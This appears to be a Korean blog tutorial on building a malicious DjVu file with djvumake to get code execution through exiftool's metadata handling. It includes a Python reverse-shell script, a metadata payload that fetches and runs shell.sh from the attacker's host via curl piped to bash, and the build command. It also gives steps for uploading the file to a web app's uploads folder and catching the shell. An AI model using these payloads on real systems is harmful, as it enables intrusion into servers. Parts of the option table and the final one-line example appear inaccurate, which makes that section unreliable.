djvumake 활용 Exploit 제작 및 사용법
1단계. djvumake 소개 및 설치
- djvumake는 DjVu 파일을 조립하는 도구로, 단일 페이지 DjVu 파일을 생성할 수 있음
- DjVu 파일 포맷은 주로 스캔 문서 저장용으로 텍스트, 이미지 등을 압축해 저장함
- Exploit에서는 DjVu 파일 내에 악성 코드를 심어 exiftool 같은 메타데이터 처리 도구를 통한 코드 실행에 활용
- 설치 명령어:
sudo apt-get install -y djvulibre-bin
2단계. exploit 스크립트 준비
(1) 리버스 쉘 스크립트(shell.sh) 작성
- 공격 대상 시스템에서 실행할 리버스 쉘 코드 생성 예시:
#!/bin/bash
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("공격자IP", 포트));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
(2) 메타데이터에 삽입할 명령어 파일 만들기 (exploit)
- exiftool 등에서 읽을 때 실행을 유도할 명령어 포함
- 예를 들어 curl을 이용해 shell.sh를 다운로드하고 실행하도록 삽입:
metadata "\c${system ('curl http://공격자IP/shell.sh | bash')};"
3단계. djvumake로 악성 DjVu 파일 생성
- shell.sh(리버스 쉘 스크립트)와 exploit(메타데이터 실행 명령어)를 결합하여 악성 DjVu 파일 생성
- 실행 명령어 예시:
djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit
- 이 명령어는 exploit 파일 내 명령을 포함하는 DjVu 파일을 생성
4단계. 악성 DjVu 파일 업로드 및 실행 유도
- 생성된
exploit.djvu 파일을 취약 웹 서버 혹은 대상 시스템의 업로드 폴더(예: /var/www/html/subrion/uploads/)에 복사
- 취약 시스템에서 exiftool 같은 메타데이터 분석 도구가 이 파일을 접근시 내부 명령이 실행될 수 있도록 대기
- 공격자는 리스너를 미리 실행하여 리버스 쉘 연결 대기
5단계. 리버스 쉘로 시스템 제어 획득
- 대상 시스템에서 악성 DjVu 파일이 처리되는 순간, 삽입된 쉘 명령이 실행되어 공격자에게 쉘 연결 전달
- 이후 권한 상승 공격 혹은 추가 침투 진행 가능
요약 및 주의사항
- djvumake는 DjVu 파일 조립용 도구이나 취약점 공격에 악용 가능
- 해당 공격은 exiftool 취약점과 결합해 사용함 (exiftool 메타데이터 처리 시 임의 코드 실행)
- 공격 성공 위해선 대상 시스템에 취약한 버전 exiftool 및 업로드 폴더 권한 필수
- 공격 시 curl로 shell.sh 다운로드 및 실행하는 방식이 가장 기본적이며, 환경에 따라 payload 변형 필요
djvumake 명령어 및 상세 옵션
기본 사용법
djvumake output.djvu [옵션]
output.djvu: 생성할 DjVu 파일 이름 지정
- 기본적으로 입력된 구성에 따라 단일 페이지 DjVu 파일 생성
주요 옵션
| 옵션 |
설명 |
BGjp=<파일 경로> |
배경 이미지 파일 지정 (JPEG2000 형식 권장) |
ANTa=<텍스트> |
앤티(Annotate) 텍스트 추가, 메타데이터 등 삽입용 |
TXT=<텍스트 파일> |
텍스트 콘텐츠를 포함한 파일 지정 (OCR 텍스트 등) |
INFO=<가로>,<세로> |
가로 및 세로 이미지 크기 지정, 이미지 없는 경우 좌표 0,0으로 설정 |
NPg=<페이지 수> |
페이지 수 지정 (기본 1 페이지) |
INCL=<파일 경로> |
추가할 파일 포함 |
익스플로잇 활용 주요 옵션
예시 명령어
# 악성 페이로드 포함 DjVu 생성 (빈 이미지 + 악성 메타데이터)
djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa="curl http://attacker/shell.sh | bash"
참고 사항
- djvumake는 DjVu 파일을 조립하는 도구이므로, 악성코드 삽입은 메타데이터 해석 취약점을 악용하는 보조 수단이다.
댓글 남기기